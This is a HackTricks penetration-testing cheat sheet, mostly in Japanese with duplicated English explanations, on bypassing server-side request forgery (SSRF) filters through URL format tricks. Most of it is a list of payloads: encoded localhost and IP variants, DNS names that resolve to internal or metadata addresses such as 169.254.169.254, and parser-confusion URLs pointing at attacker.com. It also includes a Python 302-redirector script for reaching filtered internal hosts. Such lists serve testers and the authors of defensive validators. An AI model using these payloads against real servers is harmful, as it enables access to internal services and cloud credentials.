hacktricks/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md
2023-07-07 23:42:27 +00:00

13 KiB
Raw Blame History

URLフォーマットバイパス

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

ローカルホスト

# Localhost
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://127.000000000000000.1
http://0
http:@0/ --> http://localhost/
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://①②⑦.⓪.⓪.⓪

# CDIR bypass
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

# Dot bypass
127。0。0。1
127%E3%80%820%E3%80%820%E3%80%821

# Decimal bypass
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

# Octal Bypass
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001

# Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001

# Add 0s bypass
127.000000000000.1

# You can also mix different encoding formats
# https://www.silisoftware.com/tools/ipconverter.php

# Malformed and rare
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1

# DNS to localhost
localtest.me = 127.0.0.1
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple.com = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1

ドメインパーサー

https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attacker。com
ⒶⓉⓉⒶⒸⓀⒺⓡ.Ⓒⓞⓜ
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾
⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗
⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰
⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ
Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ
ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

ドメインの混乱

Domain confusion is a technique used to bypass SSRF protections that rely on blacklisting or filtering specific domains. It takes advantage of the fact that different components of a URL can be interpreted differently by the server.

ドメインの混乱は、特定のドメインをブラックリスト化またはフィルタリングするSSRF保護をバイパスするための技術です。URLの異なるコンポーネントがサーバーによって異なる解釈がされるという事実を利用します。

For example, consider the following URL: http://example.com@attacker.com. In this case, the server may interpret example.com as the domain and attacker.com as the username. This can lead to SSRF vulnerabilities if the server makes a request to the interpreted domain.

例えば、次のURLを考えてみましょうhttp://example.com@attacker.com。この場合、サーバーはexample.comをドメインと解釈し、attacker.comをユーザー名と解釈するかもしれません。これにより、サーバーが解釈されたドメインにリクエストを行う場合、SSRFの脆弱性が発生する可能性があります。

To further confuse the server, additional URL encoding can be used. For example, the URL http://example.com%40attacker.com is equivalent to http://example.com@attacker.com. This can help bypass SSRF protections that only filter specific characters or patterns.

さらにサーバーを混乱させるために、追加のURLエンコーディングを使用することもできます。例えば、URL http://example.com%40attacker.comhttp://example.com@attacker.com と等価です。これにより、特定の文字やパターンのみをフィルタリングするSSRF保護をバイパスするのに役立ちます。

It is important to note that domain confusion may not work in all cases, as it depends on how the server interprets the URL components. Therefore, it is recommended to combine this technique with other SSRF bypass methods for better results.

ドメインの混乱がすべてのケースで機能するわけではないことに注意してください。これは、サーバーがURLのコンポーネントをどのように解釈するかに依存するためです。したがって、より良い結果を得るために、この技術を他のSSRFバイパス方法と組み合わせることを推奨します。

# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
# Try URL-encoded characters
https://{domain}@attacker.com
https://{domain}.attacker.com
https://{domain}%6D@attacker.com
https://attacker.com/{domain}
https://attacker.com/?d={domain}
https://attacker.com#{domain}
https://attacker.com@{domain}
https://attacker.com#@{domain}
https://attacker.com%23@{domain}
https://attacker.com%00{domain}
https://attacker.com%0A{domain}
https://attacker.com?{domain}
https://attacker.com///{domain}
https://attacker.com\{domain}/
https://attacker.com;https://{domain}
https://attacker.com\{domain}/
https://attacker.com\.{domain}
https://attacker.com/.{domain}
https://attacker.com\@@{domain}
https://attacker.com:\@@{domain}
https://attacker.com#\@{domain}
https://attacker.com\anything@{domain}/
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com

# On each IP position try to put 1 attackers domain and the others the victim domain
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

#Parameter pollution
next={domain}&next=attacker.com

パスと拡張子のバイパス

もし、URLがパスまたは拡張子で終わる必要がある場合、またはパスを含む必要がある場合、以下のバイパスのいずれかを試すことができます。

https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path

Fuzzing

ツールrecollapseは、与えられた入力からバリエーションを生成して使用されている正規表現をバイパスしようとします。詳細については、この投稿も参照してください。

リダイレクトによるバイパス

サーバーがSSRFの元のリクエストをフィルタリングしている可能性がありますが、そのリクエストへの可能なリダイレクト応答はフィルタリングされていない場合があります。
たとえば、url=https://www.google.com/を介したSSRFの脆弱なサーバーは、urlパラメータをフィルタリングしているかもしれません。しかし、pythonサーバーを使用して302で応答することで、リダイレクトしたい場所にフィルタリングされたIPアドレス127.0.0.1)や、フィルタリングされたプロトコルgopherにアクセスできるかもしれません。
このレポートをチェックしてください。

#!/usr/bin/env python3

#python3 ./redirector.py 8000 http://127.0.0.1/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()

class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

説明されたトリック

バックスラッシュトリック

簡単に言えば、バックスラッシュトリック は、2つの「URL」仕様間のわずかな違いを利用していますWHATWG URL標準RFC3986。RFC3986は、Uniform Resource Identifiers の構文に関する一般的な多目的仕様であり、WHATWG URL標準はWebおよびURLURIのサブセットを対象としています。現代のブラウザはWHATWG URL標準を実装しています。

両方の仕様は、URI/URLを解析する方法を説明していますが、わずかな違いがあります。WHATWG仕様では、\という1つの追加文字があり、これは/とまったく同じように振る舞いますホスト名と権限を終了し、URLのパスを開始します。

2つの仕様が同じURLを異なる方法で解析している

その他の混乱

画像はhttps://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/から

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥